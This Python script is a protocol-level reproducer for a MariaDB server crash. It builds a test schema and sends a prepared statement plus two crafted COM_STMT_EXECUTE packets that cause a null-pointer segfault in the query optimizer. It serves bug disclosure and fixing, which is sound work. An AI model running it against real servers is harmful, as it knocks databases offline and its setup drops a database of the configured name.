#!/usr/bin/env python3
"""
MariaDB protocol crash PoC: sql/table.h:2708 TABLE_LIST::get_tablenr() SIGSEGV.

Observed crash:
  sql/table.h:2708:
  TABLE_LIST::get_tablenr() dereferences a null TABLE_LIST::table pointer and the server exits with signal 11.

Relevant stack:
  TABLE_LIST::get_tablenr()
  JOIN::optimize_inner()
  JOIN::optimize()
  mysql_derived_optimize()
  mysql_handle_single_derived()
  Prepared_statement::execute_loop()
  mysqld_stmt_execute()

Trigger sequence:
  1. Recreate the test schema from SETUP_SQL_SCRIPT.
  2. COM_STMT_PREPARE with 29 parameters.
  3. COM_STMT_EXECUTE #1 with cursor flag 0x04.
  4. COM_STMT_EXECUTE #2 with cursor flag 0x02.

Usage:
  python3 reproduce.py -H <host> -P <port> -u <user> -p <password>

This is a protocol-level reproducer. The SQL text alone is not expected
to reproduce the bug; the trigger depends on COM_STMT_PREPARE plus
the crafted COM_STMT_EXECUTE packet(s) below.
"""
SCRIPT_DESCRIPTION = 'Self-contained MariaDB protocol PoC for TABLE_LIST::get_tablenr crash'

SETUP_SQL_SCRIPT = """\
DROP DATABASE IF EXISTS `mydb`;


CREATE DATABASE `mydb`;


USE `mydb`;


SET FOREIGN_KEY_CHECKS=0;


SET UNIQUE_CHECKS=0;



CREATE TABLE `t1191` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` tinyint(4) DEFAULT NULL,
  `c4` tinyint(4) NOT NULL,
  `c5` int(11) NOT NULL,
  `c6` double DEFAULT NULL,
  `c7` text DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` int(11) DEFAULT NULL,
  `c10` text DEFAULT NULL,
  `c11` text DEFAULT NULL,
  PRIMARY KEY (`c1`,`c5`),
  UNIQUE KEY `i693` (`c5`,`c2`,`c6`,`c1`,`c4`),
  KEY `i676` (`c2`,`c6`,`c4`,`c5`,`c3`,`c1`),
  KEY `i790` (`c3`,`c1`,`c2`,`c9`,`c5`,`c6`,`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1201` (
  `c1` int(11) NOT NULL,
  `c2` int(11) DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` double DEFAULT NULL,
  `c6` int(11) NOT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` double DEFAULT NULL,
  `c10` tinyint(4) DEFAULT NULL,
  `c11` text DEFAULT NULL,
  `c12` tinyint(4) DEFAULT NULL,
  `c13` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`,`c6`),
  UNIQUE KEY `c3` (`c3`),
  KEY `i685` (`c5`,`c4`,`c6`,`c7`,`c3`,`c2`,`c1`),
  KEY `i778` (`c1`,`c3`),
  KEY `i816` (`c10`,`c6`,`c12`,`c4`,`c7`,`c9`,`c2`,`c3`,`c1`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1206` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` int(11) NOT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`,`c3`),
  UNIQUE KEY `c3` (`c3`),
  KEY `i766` (`c3`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1216` (
  `c1` int(11) NOT NULL,
  `c2` double DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  `c5` double NOT NULL,
  `c6` int(11) DEFAULT NULL,
  `c7` double DEFAULT NULL,
  `c8` text DEFAULT NULL,
  `c9` double DEFAULT NULL,
  `c10` double DEFAULT NULL,
  `c11` int(11) NOT NULL,
  `c12` text DEFAULT NULL,
  `c13` text DEFAULT NULL,
  PRIMARY KEY (`c11`),
  KEY `i769` (`c10`,`c2`,`c7`,`c4`,`c9`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1274` (
  `a1` double DEFAULT NULL,
  `a2` int(1) NOT NULL,
  `a3` varchar(10) NOT NULL,
  `a4` int(1) DEFAULT NULL,
  `a5` int(5) NOT NULL,
  `a6` int(1) NOT NULL,
  `c7` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1277` (
  `c1` int(11) DEFAULT NULL,
  `c2` text DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` double DEFAULT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` double NOT NULL,
  `c7` int(11) NOT NULL,
  `c8` int(11) NOT NULL,
  `c9` double DEFAULT NULL,
  PRIMARY KEY (`c7`),
  KEY `i793` (`c4`,`c6`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1298` (
  `c1` int(11) NOT NULL,
  `c2` double NOT NULL,
  `c3` int(11) DEFAULT NULL,
  `c4` text DEFAULT NULL,
  `c5` tinyint(4) DEFAULT NULL,
  `c6` text DEFAULT NULL,
  `c7` text DEFAULT NULL,
  `c8` int(11) DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`,`c2`,`c3`),
  KEY `i867` (`c1`),
  CONSTRAINT `CONSTRAINT_1` CHECK (cast(`c4` as char charset utf8mb4) <=> cast(`c7` as char charset utf8mb4))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1339` (
  `c1` int(11) NOT NULL,
  `c2` tinyint(4) DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` int(11) NOT NULL,
  `c5` double DEFAULT NULL,
  `c6` text DEFAULT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  `c8` text NOT NULL,
  `c9` text DEFAULT NULL,
  `c10` int(11) NOT NULL,
  `c11` int(11) DEFAULT NULL,
  `c12` text DEFAULT NULL,
  PRIMARY KEY (`c10`,`c4`),
  KEY `i824` (`c3`),
  CONSTRAINT `CONSTRAINT_1` CHECK (1 = 1)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1363` (
  `c1` int(11) DEFAULT NULL,
  `c2` double DEFAULT NULL,
  `c3` double DEFAULT NULL,
  `c4` text DEFAULT NULL,
  `c5` text DEFAULT NULL,
  `c6` int(11) NOT NULL,
  `c7` double DEFAULT NULL,
  PRIMARY KEY (`c6`),
  UNIQUE KEY `c2` (`c2`,`c6`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1379` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  `c3` int(11) DEFAULT NULL,
  `c4` tinyint(4) DEFAULT NULL,
  `c5` double DEFAULT NULL,
  `c6` double DEFAULT NULL,
  `c7` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`),
  UNIQUE KEY `c1` (`c1`),
  UNIQUE KEY `i826` (`c3`,`c6`,`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1388` (
  `a1` int(1) DEFAULT NULL,
  `a2` decimal(26,4) DEFAULT NULL,
  `c3` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1425` (
  `a1` bigint(21) NOT NULL,
  `a2` int(11) NOT NULL,
  `a3` bigint(21) NOT NULL,
  `a4` bigint(21) NOT NULL,
  `a5` bigint(21) NOT NULL,
  `a6` double(8,4) DEFAULT NULL,
  `a7` decimal(26,4) DEFAULT NULL,
  `a8` bigint(21) NOT NULL,
  KEY `i838` (`a7`,`a2`,`a1`,`a3`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1438` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  `c3` int(11) NOT NULL,
  `c4` text DEFAULT NULL,
  `c5` double DEFAULT NULL,
  PRIMARY KEY (`c1`,`c3`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE TABLE `t1472` (
  `c1` int(11) NOT NULL,
  `c2` text DEFAULT NULL,
  `c3` text DEFAULT NULL,
  `c4` int(11) NOT NULL,
  `c5` int(11) DEFAULT NULL,
  `c6` int(11) NOT NULL,
  `c7` tinyint(4) NOT NULL,
  `c8` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`c1`,`c4`,`c6`),
  UNIQUE KEY `c1` (`c1`,`c4`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci;



CREATE ALGORITHM=UNDEFINED VIEW `v1396` AS select cast(NULL as signed) AS `a1`,case when -23 is not null then `subq_0`.`a1` else `subq_0`.`a3` end AS `a2`,cast(`subq_0`.`a5` as char charset utf8mb4) <> `subq_0`.`a6` AS `a3` from (select (select `t1277`.`c7` from `t1277` order by `t1277`.`c7` limit 6,1) AS `a1`,`ref_0`.`c6` AS `a2`,(select `t1206`.`c1` from `t1206` order by `t1206`.`c1` limit 4,1) AS `a3`,`ref_0`.`c5` AS `a4`,cast(`ref_0`.`c9` as char charset utf8mb4) AS `a5`,cast(`ref_0`.`c8` as char charset utf8mb4) AS `a6`,`ref_0`.`c5` <> 0 and cast(NULL as decimal(10,0)) AS `a7`,exists(select 61.53 is null AS `a1` from `t1274` `ref_1` where exists(select cast(32768 as signed) AS `a1` from `t1216` `ref_2` where 0 <> 0 limit 1) limit 1) AS `a8`,-1 < cast(`ref_0`.`c5` as double) AS `a9` from `t1339` `ref_0` where 1 = 1) `subq_0` where cast(coalesce(cast(`subq_0`.`a6` as char charset utf8mb4),cast(coalesce(cast(NULL as char charset utf8mb4),(1 = 1) + cast(-4294967297 as signed)) as char charset utf8mb4)) as char charset utf8mb4) > cast(`subq_0`.`a5` as char charset utf8mb4);



CREATE ALGORITHM=UNDEFINED VIEW `v1434` AS select cast((cast(`ref_0`.`a8` as signed) MOD (cast(NULL as decimal(10,0)) <= cast((`ref_0`.`a5` & 0xffffff) + 8388608 & 0xffffff as signed) - 8388608) & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648 AS `a1`,100 AS `a2` from (`t1379` `ref_1` left join `t1425` `ref_0` on(`ref_0`.`a2` = `ref_1`.`c1`)) where cast(coalesce((select std(`t1191`.`c3`) from `t1191`),`ref_1`.`c5`) as double) >= cast(`ref_1`.`c5` as double) order by cast((cast(`ref_0`.`a8` as signed) MOD (cast(NULL as decimal(10,0)) <= cast((`ref_0`.`a5` & 0xffffff) + 8388608 & 0xffffff as signed) - 8388608) & 0xffffffff) + 2147483648 & 0xffffffff as signed) - 2147483648,'' limit 152;



SET UNIQUE_CHECKS=1;


SET FOREIGN_KEY_CHECKS=1;
"""

PREPARE_SQL = """\
insert into t1298
select 
    (cast(((subq_0.a2 &0xffffffff)+2147483648)&0xffffffff as signed)-2147483648) as a1,
    (lead((cast(((subq_0.a1 &0xffff)+32768)&0xffff as signed)-32768), 84) over (partition by subq_0.a2, subq_0.a4 order by subq_0.a5) + cast(subq_0.a3 as double)) as a2,
    subq_0.a2 as a3,
    cast(? as char) as a4,
    (NOT NOT (subq_0.a3 <=> case when (subq_0.a6 <= (
            select 
                  ? as a1
                from t1388 as ref_5
                where (NOT NOT (cast((((cast(? as char) <> cast(? as char)) &0xff)+128)&0xff as signed)-128))
              union (
                select 
                  ? as a1
                from t1363 as ref_6
                where (NOT NOT (? <= ?))
              )
              limit 1
            )) then cast(subq_0.a5 as decimal) else cast(subq_0.a1 as decimal) end)) as a5,
    cast(? as char) as a6,
    ? as a7,
    subq_0.a5 as a8
  from (select 
          (NOT NOT (? < ?)) as a1,
          (? & ?) as a2,
          cast(stddev_samp(cast(? as double)) over (partition by ref_0.a1, ref_0.a2 order by ref_0.a3) as double) as a3,
          ? as a4,
          ref_0.a3 as a5,
          ? as a6
        from v1396 as ref_0
        where ((? not in (
            select 
                  cast(? as char) as a1
                from v1434 as ref_1
                where (1=1)
              union (
                select 
                  ? as a1
                from t1438 as ref_2
                where (? between ? and ?)
              )
            ))
            and
          (? in (
            select distinct
                  cast(? as double) as a1
                from t1472 as ref_3
                where (1=1)
              union (
                select 
                  ? as a1
                from t1216 as ref_4
                where (? between ? and ?)
              )
              order by a1
            )))) as subq_0
  where (cast(? as char) not like 'xwsp8%sw')"""

EXECUTE_PAYLOADS = [
    # COM_STMT_EXECUTE packet 1.
    bytes.fromhex(
        "17"          # command: COM_STMT_EXECUTE
        "00000000"    # statement id, patched below
        "04"          # flags
        "01000000"    # iteration count
        "41c20210"      # null bitmap (29 parameters)
        "01"          # new_params_bound_flag
        # parameter type metadata and parameter values
        """
        fe00fe0003800300fe80fe000580050003000300fe000580fb00fe000380038005000300fe0003000300fe0003000380
        04800500fe00fe000300068e03f312910a090ce1faffffffff0000ffffffffffffffffcd700756009697e10da2b07568
        09d84661dcc7a548f13300f2ba69f92f1025ce043f8967ae00000000d27ae2d20172ffffffff44dbfb584ff908d3ffff
        ffffffffffff01c0073eafad984d4f2d
        """
    ),
    # COM_STMT_EXECUTE packet 2.
    bytes.fromhex(
        "17"          # command: COM_STMT_EXECUTE
        "00000000"    # statement id, patched below
        "02"          # flags
        "01000000"    # iteration count
        "00000000"      # null bitmap (29 parameters)
        "01"          # new_params_bound_flag
        # parameter type metadata and parameter values
        """
        0c00fe00030003800700fe00ff00050003000d80fe000500fe80fe000300040005000300fe0003000380fe0003000300
        03800500fe00fe0003000b293d5da988fdaaf48d2c030bac9e076ba6db4e3caaf94d8deadee3066784c504d9651a7303
        94be510cf517606afaf16b9a90e052cc8ba9d3b6ceb5038bffffffff92c202a1b116dd69ab6dbb9d5b40005858585858
        585800585858585858580058585858585858005858585858585800585858585858580058585858585858005858585858
        585800585858585858580000000000407fd6a1902e6802837c6b07c05414bf04058c1b8f2a1c8eeb14a8d53ffc000141
        414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
        414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
        414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
        414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
        414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
        414141414141414141414141414141ffffffffffffffffe5d56ce1c0f62733faf34a8c0cb5e11a816ebfea01a1fb8e67
        0000000000
        """
    ),
]
STEPS = [
    ("prepare",),
    ("execute", 0),
    ("execute", 1),
]


import argparse
import socket
import struct
import sys
import time

try:
    import mysql.connector
except ImportError:
    sys.exit("[!] Please install dependency: pip install mysql-connector-python")


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 3306
DEFAULT_USER = "root"
DEFAULT_PASSWORD = ""
DEFAULT_DATABASE = "mydb"
DEFAULT_TIMEOUT = 20

SERVER_MORE_RESULTS_EXISTS = 0x0008


def qident(name):
    return "`" + name.replace("`", "``") + "`"


def connect(args, database=None, timeout=None):
    return mysql.connector.connect(
        host=args.host,
        port=args.port,
        user=args.user,
        password=args.password,
        database=database,
        connection_timeout=timeout or args.timeout,
        use_pure=True,
        autocommit=True,
    )


def setup_database(args):
    print(f"[*] Recreating database {args.database!r}")
    conn = connect(args)
    cur = conn.cursor()
    cur.execute(f"DROP DATABASE IF EXISTS {qident(args.database)}")
    cur.execute(f"CREATE DATABASE {qident(args.database)}")
    cur.close()
    conn.close()


def split_mysql_statements(script):
    statements = []
    buf = []
    i = 0
    state = None
    while i < len(script):
        ch = script[i]
        nxt = script[i + 1] if i + 1 < len(script) else ""

        if state == "single":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == "'":
                if nxt == "'":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "double":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == '"':
                if nxt == '"':
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "backtick":
            buf.append(ch)
            if ch == "`":
                if nxt == "`":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if ch == "'":
            state = "single"
            buf.append(ch)
            i += 1
            continue
        if ch == '"':
            state = "double"
            buf.append(ch)
            i += 1
            continue
        if ch == "`":
            state = "backtick"
            buf.append(ch)
            i += 1
            continue

        if ch == "-" and nxt == "-" and (i + 2 == len(script) or script[i + 2].isspace()):
            i += 2
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "#":
            i += 1
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "/" and nxt == "*":
            i += 2
            while i + 1 < len(script) and not (script[i] == "*" and script[i + 1] == "/"):
                i += 1
            i += 2 if i + 1 <= len(script) else 0
            continue

        if ch == ";":
            statement = "".join(buf).strip()
            if statement:
                statements.append(statement)
            buf = []
            i += 1
            continue

        buf.append(ch)
        i += 1

    statement = "".join(buf).strip()
    if statement:
        statements.append(statement)
    return statements


def skip_setup_statement(sql):
    normalized = " ".join(sql.split()).lower()
    return (
        normalized.startswith("drop database ")
        or normalized.startswith("create database ")
        or normalized.startswith("use ")
    )


def run_sql(conn, sql):
    preview = " ".join(sql.split())[:140]
    print(f"[*] SQL: {preview}")
    cur = conn.cursor()
    cur.execute(sql)
    while cur.nextset():
        pass
    cur.close()


def apply_setup_sql(args):
    setup_database(args)
    conn = connect(args, database=args.database)
    try:
        for sql in split_mysql_statements(SETUP_SQL_SCRIPT):
            if skip_setup_statement(sql):
                continue
            run_sql(conn, sql)
    finally:
        conn.close()


def send_mysql_packet(sock, payload, seq=0):
    header = struct.pack("<I", len(payload))[:3] + bytes([seq & 0xFF])
    sock.sendall(header + payload)


def recv_exact(sock, n):
    data = bytearray()
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("server closed the connection")
        data.extend(chunk)
    return bytes(data)


def read_mysql_packet(sock):
    header = recv_exact(sock, 4)
    length = header[0] | (header[1] << 8) | (header[2] << 16)
    seq = header[3]
    payload = recv_exact(sock, length) if length else b""
    return seq, payload


def read_lenenc(payload, offset=0):
    first = payload[offset]
    offset += 1
    if first < 0xFB:
        return first, offset
    if first == 0xFC:
        return int.from_bytes(payload[offset:offset + 2], "little"), offset + 2
    if first == 0xFD:
        return int.from_bytes(payload[offset:offset + 3], "little"), offset + 3
    if first == 0xFE:
        return int.from_bytes(payload[offset:offset + 8], "little"), offset + 8
    return 0, offset


def status_flags(payload):
    if not payload:
        return 0
    first = payload[0]
    if first == 0xFE and 5 <= len(payload) < 9:
        return payload[3] | (payload[4] << 8)
    if first == 0x00 or (first == 0xFE and len(payload) >= 7):
        off = 1
        _, off = read_lenenc(payload, off)
        _, off = read_lenenc(payload, off)
        if off + 2 <= len(payload):
            return payload[off] | (payload[off + 1] << 8)
    return 0


def parse_err_packet(payload):
    if len(payload) < 4 or payload[0] != 0xFF:
        return "not an ERR packet"
    errno = struct.unpack_from("<H", payload, 1)[0]
    if len(payload) > 9 and payload[3:4] == b"#":
        msg = payload[9:].decode("utf-8", errors="replace")
    else:
        msg = payload[3:].decode("utf-8", errors="replace")
    return f"errno={errno}: {msg}"


def reconnect_fails(args):
    time.sleep(1.0)
    try:
        conn = connect(args, timeout=3)
        conn.close()
        return False
    except Exception as exc:
        print(f"[+] Reconnect failed: {exc}")
        return True


def report_disconnect(args, where, exc):
    print(f"[!!!] Connection lost while waiting for {where}: {exc}")
    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down")
        return True
    print("[~] Reconnect succeeded; this looks like a connection-level failure only")
    return False


def build_execute_packet(stmt_id, template):
    payload = bytearray(template)
    struct.pack_into("<I", payload, 1, stmt_id)
    return bytes(payload)


def drain_prepare_metadata(sock, first):
    if not first:
        raise ConnectionError("empty PREPARE response")
    if first[0] == 0xFF:
        raise RuntimeError("PREPARE returned ERR: " + parse_err_packet(first))
    if first[0] != 0x00 or len(first) < 12:
        raise RuntimeError("unexpected PREPARE response: " + first[:32].hex())

    stmt_id = struct.unpack_from("<I", first, 1)[0]
    num_columns = struct.unpack_from("<H", first, 5)[0]
    num_params = struct.unpack_from("<H", first, 7)[0]
    print(f"    stmt_id={stmt_id}, num_params={num_params}, num_columns={num_columns}")

    for _ in range(num_params):
        read_mysql_packet(sock)
    if num_params:
        read_mysql_packet(sock)
    for _ in range(num_columns):
        read_mysql_packet(sock)
    if num_columns:
        read_mysql_packet(sock)
    return stmt_id


def send_prepare(args, sock):
    payload = b"\x16" + PREPARE_SQL.encode("utf-8")
    print(f"[*] COM_STMT_PREPARE: {len(payload)} bytes")
    send_mysql_packet(sock, payload, seq=0)
    try:
        _, first = read_mysql_packet(sock)
        return drain_prepare_metadata(sock, first)
    except (socket.timeout, ConnectionError, OSError) as exc:
        if report_disconnect(args, "COM_STMT_PREPARE", exc):
            return None
        raise


def drain_rows(sock, binary):
    while True:
        _, pkt = read_mysql_packet(sock)
        if not pkt:
            raise ConnectionError("empty row packet")
        if pkt[0] == 0xFF:
            print("    ERR:", parse_err_packet(pkt))
            return
        if pkt[0] == 0xFE and len(pkt) < 9:
            if status_flags(pkt) & SERVER_MORE_RESULTS_EXISTS:
                drain_result(sock, binary=False)
            return


def drain_resultset(sock, first, binary, has_cursor):
    column_count, _ = read_lenenc(first, 0)
    for _ in range(column_count):
        read_mysql_packet(sock)
    read_mysql_packet(sock)
    if has_cursor:
        return
    drain_rows(sock, binary)


def drain_result(sock, binary=False, has_cursor=False):
    _, first = read_mysql_packet(sock)
    if not first:
        raise ConnectionError("empty response packet")
    if first[0] == 0xFF:
        print("    ERR:", parse_err_packet(first))
        return
    if first[0] == 0x00 or (first[0] == 0xFE and len(first) < 9):
        if status_flags(first) & SERVER_MORE_RESULTS_EXISTS:
            drain_result(sock, binary=False)
        return
    drain_resultset(sock, first, binary, has_cursor)


def send_execute(args, sock, stmt_id, index):
    payload = build_execute_packet(stmt_id, EXECUTE_PAYLOADS[index])
    flags = payload[5]
    has_cursor = bool(flags & 0x07)
    print(f"[*] COM_STMT_EXECUTE #{index + 1}: flags=0x{flags:02x}, payload_len={len(payload)}")
    send_mysql_packet(sock, payload, seq=0)
    try:
        drain_result(sock, binary=True, has_cursor=has_cursor)
    except (socket.timeout, ConnectionError, OSError) as exc:
        return report_disconnect(args, "COM_STMT_EXECUTE", exc)
    return False


def run_protocol_sequence(args):
    conn = connect(args, database=args.database)
    sock = conn._socket.sock
    sock.settimeout(args.timeout)
    stmt_id = None
    try:
        for step in STEPS:
            kind = step[0]
            if kind == "prepare":
                stmt_id = send_prepare(args, sock)
                if stmt_id is None:
                    return 0
            elif kind == "execute":
                if stmt_id is None:
                    raise RuntimeError("COM_STMT_EXECUTE requested before COM_STMT_PREPARE")
                if send_execute(args, sock, stmt_id, step[1]):
                    return 0
            else:
                raise RuntimeError(f"unknown step: {kind}")
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down after the sequence")
        return 0
    print("[~] Sequence completed without a confirmed server crash")
    return 1


def main():
    parser = argparse.ArgumentParser(description=SCRIPT_DESCRIPTION)
    parser.add_argument("-H", "--host", default=DEFAULT_HOST, metavar="<host>")
    parser.add_argument("-P", "--port", type=int, default=DEFAULT_PORT, metavar="<port>")
    parser.add_argument("-u", "--user", default=DEFAULT_USER, metavar="<user>")
    parser.add_argument("-p", "--password", default=DEFAULT_PASSWORD, metavar="<password>")
    parser.add_argument("-d", "--database", default=DEFAULT_DATABASE, metavar="<database>")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, metavar="<seconds>")
    args = parser.parse_args()

    apply_setup_sql(args)
    return run_protocol_sequence(args)


if __name__ == "__main__":
    sys.exit(main())